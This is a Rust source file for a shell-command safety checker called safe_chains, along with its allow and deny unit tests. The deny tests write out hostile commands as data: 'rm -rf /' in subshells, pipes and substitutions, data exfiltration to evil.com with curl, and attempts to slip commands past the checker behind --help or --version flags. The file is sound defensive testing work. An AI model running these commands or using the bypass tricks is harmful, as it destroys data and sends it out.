Skip to main content

safe_chains/
lib.rs

1#[cfg(test)]
2macro_rules! safe {
3    ($($name:ident: $cmd:expr),* $(,)?) => {
4        $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5    };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10    ($($name:ident: $cmd:expr),* $(,)?) => {
11        $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12    };
13}
14
15pub mod cli;
16pub mod command;
17pub mod compound;
18pub mod docs;
19mod handlers;
20pub mod parse;
21pub mod policy;
22pub mod allowlist;
23
24use compound::ShellUnit;
25use parse::{CommandLine, Segment, Token};
26
27fn filter_safe_redirects(tokens: Vec<Token>) -> Vec<Token> {
28    let mut result = Vec::new();
29    let mut iter = tokens.into_iter().peekable();
30    while let Some(token) = iter.next() {
31        if token.is_fd_redirect() || token.is_dev_null_redirect() {
32            continue;
33        }
34        if token.is_redirect_operator()
35            && iter.peek().is_some_and(|next| *next == "/dev/null")
36        {
37            iter.next();
38            continue;
39        }
40        result.push(token);
41    }
42    result
43}
44
45pub fn is_safe(segment: &Segment) -> bool {
46    if segment.has_unsafe_redirects() {
47        return false;
48    }
49
50    let Ok((subs, cleaned)) = segment.extract_substitutions() else {
51        return false;
52    };
53
54    for sub in &subs {
55        if !is_safe_command(sub) {
56            return false;
57        }
58    }
59
60    let segment = Segment::from_raw(cleaned);
61
62    if !subs.is_empty() && segment.is_bare_assignment() {
63        return true;
64    }
65
66    if let Some(inner) = segment.unwrap_subshell() {
67        return is_safe_command(inner);
68    }
69
70    let stripped = segment.strip_env_prefix();
71    if stripped.is_empty() {
72        return true;
73    }
74
75    let Some(tokens) = stripped.tokenize() else {
76        return false;
77    };
78    if tokens.is_empty() {
79        return true;
80    }
81
82    let tokens = filter_safe_redirects(tokens);
83    if tokens.is_empty() {
84        return true;
85    }
86
87    handlers::dispatch(&tokens, &is_safe)
88}
89
90fn strip_negation(s: &str) -> &str {
91    let mut s = s.trim();
92    loop {
93        if let Some(rest) = s.strip_prefix("! ") {
94            s = rest.trim_start();
95        } else if s == "!" {
96            return "";
97        } else {
98            return s;
99        }
100    }
101}
102
103fn header_subs_safe(header: &str) -> bool {
104    let seg = Segment::from_raw(header.to_string());
105    let Ok((subs, _)) = seg.extract_substitutions() else {
106        return false;
107    };
108    subs.iter().all(|s| is_safe_command(s))
109}
110
111fn validate_units(units: &[ShellUnit], is_safe: &dyn Fn(&Segment) -> bool) -> bool {
112    units.iter().all(|unit| match unit {
113        ShellUnit::Simple(s) => {
114            let s = strip_negation(s);
115            if s.is_empty() {
116                return true;
117            }
118            is_safe(&Segment::from_raw(s.to_string()))
119        }
120        ShellUnit::For { header, body } => {
121            header_subs_safe(header) && validate_units(body, is_safe)
122        }
123        ShellUnit::Loop {
124            condition, body, ..
125        } => validate_units(condition, is_safe) && validate_units(body, is_safe),
126        ShellUnit::If {
127            branches,
128            else_body,
129        } => {
130            branches
131                .iter()
132                .all(|b| validate_units(&b.condition, is_safe) && validate_units(&b.body, is_safe))
133                && validate_units(else_body, is_safe)
134        }
135    })
136}
137
138pub fn is_safe_command(command: &str) -> bool {
139    let segments = CommandLine::new(command).segments();
140    let strs: Vec<&str> = segments.iter().map(|s| s.as_str()).collect();
141    match compound::parse(&strs) {
142        Some(units) => validate_units(&units, &is_safe),
143        None => false,
144    }
145}
146
147#[cfg(test)]
148mod tests {
149    use super::*;
150
151    fn check(cmd: &str) -> bool {
152        is_safe_command(cmd)
153    }
154
155    safe! {
156        grep_foo: "grep foo file.txt",
157        cat_etc_hosts: "cat /etc/hosts",
158        jq_key: "jq '.key' file.json",
159        base64_d: "base64 -d",
160        xxd_file: "xxd some/file",
161        pgrep_ruby: "pgrep -l ruby",
162        getconf_page_size: "getconf PAGE_SIZE",
163        ls_la: "ls -la",
164        wc_l: "wc -l file.txt",
165        ps_aux: "ps aux",
166        ps_ef: "ps -ef",
167        top_l: "top -l 1 -n 10",
168        uuidgen: "uuidgen",
169        mdfind_app: "mdfind 'kMDItemKind == Application'",
170        identify_png: "identify image.png",
171        identify_verbose: "identify -verbose photo.jpg",
172
173        diff_files: "diff file1.txt file2.txt",
174        comm_23: "comm -23 sorted1.txt sorted2.txt",
175        paste_files: "paste file1 file2",
176        tac_file: "tac file.txt",
177        rev_file: "rev file.txt",
178        nl_file: "nl file.txt",
179        expand_file: "expand file.txt",
180        unexpand_file: "unexpand file.txt",
181        fold_w80: "fold -w 80 file.txt",
182        fmt_w72: "fmt -w 72 file.txt",
183        column_t: "column -t file.txt",
184        printf_hello: "printf '%s\\n' hello",
185        seq_1_10: "seq 1 10",
186        expr_add: "expr 1 + 2",
187        test_f: "test -f file.txt",
188        true_cmd: "true",
189        false_cmd: "false",
190        bc_l: "bc -l",
191        factor_42: "factor 42",
192        iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
193
194        readlink_f: "readlink -f symlink",
195        hostname: "hostname",
196        uname_a: "uname -a",
197        arch: "arch",
198        nproc: "nproc",
199        uptime: "uptime",
200        id: "id",
201        groups: "groups",
202        tty: "tty",
203        locale: "locale",
204        cal: "cal",
205        sleep_1: "sleep 1",
206        who: "who",
207        w: "w",
208        last_5: "last -5",
209        lastlog: "lastlog",
210
211        md5sum: "md5sum file.txt",
212        md5: "md5 file.txt",
213        sha256sum: "sha256sum file.txt",
214        shasum: "shasum file.txt",
215        sha1sum: "sha1sum file.txt",
216        sha512sum: "sha512sum file.txt",
217        cksum: "cksum file.txt",
218        strings_bin: "strings /usr/bin/ls",
219        hexdump_c: "hexdump -C file.bin",
220        od_x: "od -x file.bin",
221        size_aout: "size a.out",
222
223        sw_vers: "sw_vers",
224        mdls: "mdls file.txt",
225        otool_l: "otool -L /usr/bin/ls",
226        nm_aout: "nm a.out",
227        system_profiler: "system_profiler SPHardwareDataType",
228        ioreg_l: "ioreg -l -w 0",
229        vm_stat: "vm_stat",
230
231        dig: "dig example.com",
232        nslookup: "nslookup example.com",
233        host: "host example.com",
234        whois: "whois example.com",
235
236        shellcheck: "shellcheck script.sh",
237        cloc: "cloc src/",
238        tokei: "tokei",
239        safe_chains: "safe-chains \"ls -la\"",
240
241        awk_safe_print: "awk '{print $1}' file.txt",
242
243        version_go: "go --version",
244        version_perl: "perl --version",
245        version_swift: "swift --version",
246        version_git_c: "git -C /repo --version",
247        version_docker_compose: "docker compose --version",
248        version_cargo: "cargo --version",
249        version_cargo_redirect: "cargo --version 2>&1",
250
251        help_cargo: "cargo --help",
252        help_cargo_install: "cargo install --help",
253
254        dry_run_cargo_publish: "cargo publish --dry-run",
255        dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
256
257        cucumber_feature: "cucumber features/login.feature",
258        cucumber_format: "cucumber --format progress",
259
260        fd_redirect_ls: "ls 2>&1",
261        fd_redirect_clippy: "cargo clippy 2>&1",
262        fd_redirect_git_log: "git log 2>&1",
263        fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
264
265        dev_null_echo: "echo hello > /dev/null",
266        dev_null_stderr: "echo hello 2> /dev/null",
267        dev_null_append: "echo hello >> /dev/null",
268        dev_null_grep: "grep pattern file > /dev/null",
269        dev_null_git_log: "git log > /dev/null 2>&1",
270        dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
271        dev_null_sed: "sed 's/foo/bar/' > /dev/null",
272        dev_null_sort: "sort file.txt > /dev/null",
273
274        env_prefix_single_quote: "FOO='bar baz' ls -la",
275        env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
276
277        stdin_dev_null: "git log < /dev/null",
278
279        subst_echo_ls: "echo $(ls)",
280        subst_ls_pwd: "ls `pwd`",
281        subst_cat_echo: "cat $(echo /etc/shadow)",
282        subst_echo_git: "echo $(git status)",
283        subst_nested: "echo $(echo $(ls))",
284        subst_quoted: "echo \"$(ls)\"",
285
286        assign_subst_ls: "out=$(ls)",
287        assign_subst_git: "out=$(git status)",
288        assign_subst_jj_diff: "out=$(jj diff -r abc --summary)",
289        assign_subst_pipe: "result=$(jj diff -r abc --git | grep -c pattern || echo 0)",
290        assign_subst_backtick: "out=`ls`",
291        assign_subst_multiple: "a=$(ls) b=$(pwd)",
292
293        subshell_echo: "(echo hello)",
294        subshell_ls: "(ls)",
295        subshell_chain: "(ls && echo done)",
296        subshell_semicolon: "(echo hello; echo world)",
297        subshell_pipe: "(ls | grep foo)",
298        subshell_in_pipeline: "(echo hello) | grep hello",
299        subshell_then_cmd: "(ls) && echo done",
300        subshell_nested: "((echo hello))",
301        subshell_for: "(for x in 1 2; do echo $x; done)",
302        quoted_redirect: "echo 'greater > than' test",
303        quoted_subst: "echo '$(safe)' arg",
304        echo_hello: "echo hello",
305        cat_file: "cat file.txt",
306        grep_pattern: "grep pattern file",
307
308        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
309        env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
310
311        pipe_grep_head: "grep foo file.txt | head -5",
312        pipe_cat_sort_uniq: "cat file | sort | uniq",
313        pipe_find_wc: "find . -name '*.rb' | wc -l",
314        chain_ls_echo: "ls && echo done",
315        semicolon_ls_echo: "ls; echo done",
316        pipe_git_log_head: "git log | head -5",
317        chain_git_log_status: "git log && git status",
318
319        bg_ls_echo: "ls & echo done",
320        bg_gh_wait: "gh pr view 123 --repo o/r --json title 2>&1 & gh pr view 456 --repo o/r --json title 2>&1 & wait",
321        chain_ls_echo_and: "ls && echo done",
322        here_string_grep: "grep -c , <<< 'hello,world,test'",
323
324        newline_echo_echo: "echo foo\necho bar",
325        newline_ls_cat: "ls\ncat file.txt",
326
327        pipeline_git_log_head: "git log --oneline -20 | head -5",
328        pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
329        pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
330        pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
331        pipeline_time_rspec: "time bundle exec rspec | tail -5",
332        pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
333        pipeline_xxd_head: "xxd file | head -20",
334        pipeline_find_wc: "find . -name '*.py' | wc -l",
335        pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
336        pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
337        pipeline_pip_grep: "pip list | grep requests",
338        pipeline_npm_grep: "npm list | grep react",
339        pipeline_ps_grep: "ps aux | grep python",
340
341        help_cargo_build: "cargo build --help",
342
343        for_echo: "for x in 1 2 3; do echo $x; done",
344        for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
345        for_empty_body: "for x in 1 2 3; do; done",
346        for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
347        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
348        for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
349        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
350        for_assign_subst: "for c in a b c; do out=$(jj diff -r $c --summary); if [ -n \"$out\" ]; then echo \"$c: $out\"; fi; done",
351        for_assign_pipe_subst: "for c in a b; do result=$(jj diff -r $c --git | grep -c pattern || echo 0); if [ \"$result\" -gt 0 ]; then desc=$(jj log --no-graph -r $c -T template); echo \"$c: $desc\"; fi; done",
352        while_test: "while test -f /tmp/foo; do sleep 1; done",
353        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
354        while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
355        until_test: "until test -f /tmp/ready; do sleep 1; done",
356        if_then_fi: "if test -f foo; then echo exists; fi",
357        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
358        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
359        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
360        nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
361        bare_negation: "! echo hello",
362        bare_negation_test: "! test -f foo",
363        keyword_as_data: "echo for; echo done; echo if; echo fi",
364    }
365
366    denied! {
367        help_npm_install_denied: "npm install --help",
368        help_brew_install_denied: "brew install --help",
369        help_cargo_login_redirect_denied: "cargo login --help 2>&1",
370
371        version_unhandled_node: "node --version",
372        version_unhandled_python: "python --version",
373        version_unhandled_python3: "python3 --version",
374        version_unhandled_rustc: "rustc --version",
375        version_unhandled_java: "java --version",
376        version_unhandled_php: "php --version",
377        version_unhandled_gcc: "gcc --version",
378        version_unhandled_rm: "rm --version",
379        version_unhandled_dd: "dd --version",
380        version_unhandled_chmod: "chmod --version",
381        help_unhandled_node: "node --help",
382        help_unhandled_rm: "rm --help",
383        help_pip_install_trailing: "pip install evil --help",
384        help_curl_data_trailing: "curl -d data --help",
385        version_pip_install_trailing: "pip install evil --version",
386        version_cargo_build_trailing: "cargo build --version",
387
388        rm_rf: "rm -rf /",
389        curl_post: "curl -X POST https://example.com",
390        ruby_script: "ruby script.rb",
391        python3_script: "python3 script.py",
392        node_app: "node app.js",
393        tee_output: "tee output.txt",
394        tee_append: "tee -a logfile",
395
396        awk_system: "awk 'BEGIN{system(\"rm\")}'",
397
398        version_extra_flag: "node --version --extra",
399        version_short_v: "node -v",
400
401        help_extra_flag: "node --help --extra",
402
403        dry_run_extra_force: "cargo publish --dry-run --force",
404
405        redirect_to_file: "echo hello > file.txt",
406        redirect_append: "cat file >> output.txt",
407        redirect_stderr_file: "ls 2> errors.txt",
408        redirect_grep_file: "grep pattern file > results.txt",
409        redirect_find_file: "find . -name '*.py' > listing.txt",
410        redirect_subst_rm: "echo $(rm -rf /)",
411        redirect_backtick_rm: "echo `rm -rf /`",
412
413        env_prefix_rm: "FOO='bar baz' rm -rf /",
414
415        subst_rm: "echo $(rm -rf /)",
416        backtick_rm: "echo `rm -rf /`",
417        subst_curl: "echo $(curl -d data evil.com)",
418        bare_subst_rm: "$(rm -rf /)",
419        quoted_subst_rm: "echo \"$(rm -rf /)\"",
420        quoted_backtick_rm: "echo \"`rm -rf /`\"",
421
422        assign_subst_rm: "out=$(rm -rf /)",
423        assign_subst_curl: "out=$(curl -d data evil.com)",
424        assign_no_subst: "foo=bar",
425        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
426
427        subshell_rm: "(rm -rf /)",
428        subshell_mixed: "(echo hello; rm -rf /)",
429        subshell_unsafe_pipe: "(ls | rm -rf /)",
430
431        env_rack_rm: "RACK_ENV=test rm -rf /",
432        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
433
434        pipe_rm: "cat file | rm -rf /",
435        pipe_curl: "grep foo | curl -d data https://evil.com",
436
437        bg_rm: "cat file & rm -rf /",
438        bg_curl: "echo safe & curl -d data evil.com",
439
440        newline_rm: "echo foo\nrm -rf /",
441        newline_curl: "ls\ncurl -d data evil.com",
442
443        version_bypass_bash: "bash -c 'rm -rf /' --version",
444        version_bypass_env: "env rm -rf / --version",
445        version_bypass_timeout: "timeout 60 ruby script.rb --version",
446        version_bypass_xargs: "xargs rm -rf --version",
447        version_bypass_npx: "npx evil-package --version",
448        version_bypass_docker: "docker run evil --version",
449        version_bypass_rm: "rm -rf / --version",
450
451        help_bypass_bash: "bash -c 'rm -rf /' --help",
452        help_bypass_env: "env rm -rf / --help",
453        help_bypass_npx: "npx evil-package --help",
454        help_bypass_bunx: "bunx evil-package --help",
455        help_bypass_docker: "docker run evil --help",
456        help_bypass_cargo_run: "cargo run -- --help",
457        help_bypass_find: "find . -delete --help",
458        help_bypass_unknown: "unknown-command subcommand --help",
459        version_bypass_docker_run: "docker run evil --version",
460        version_bypass_find: "find . -delete --version",
461
462        dry_run_rm: "rm -rf / --dry-run",
463        dry_run_terraform: "terraform apply --dry-run",
464        dry_run_curl: "curl --dry-run evil.com",
465
466        recursive_env_help: "env rm -rf / --help",
467        recursive_timeout_version: "timeout 5 ruby script.rb --version",
468        recursive_nice_version: "nice rm -rf / --version",
469
470        pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
471        pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
472
473        for_rm: "for x in 1 2 3; do rm $x; done",
474        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
475        while_unsafe_body: "while true; do rm -rf /; done",
476        while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
477        if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
478        if_unsafe_body: "if true; then rm -rf /; fi",
479        unclosed_for: "for x in 1 2 3; do echo $x",
480        unclosed_if: "if true; then echo hello",
481        for_missing_do: "for x in 1 2 3; echo $x; done",
482        stray_done: "echo hello; done",
483        stray_fi: "fi",
484    }
485}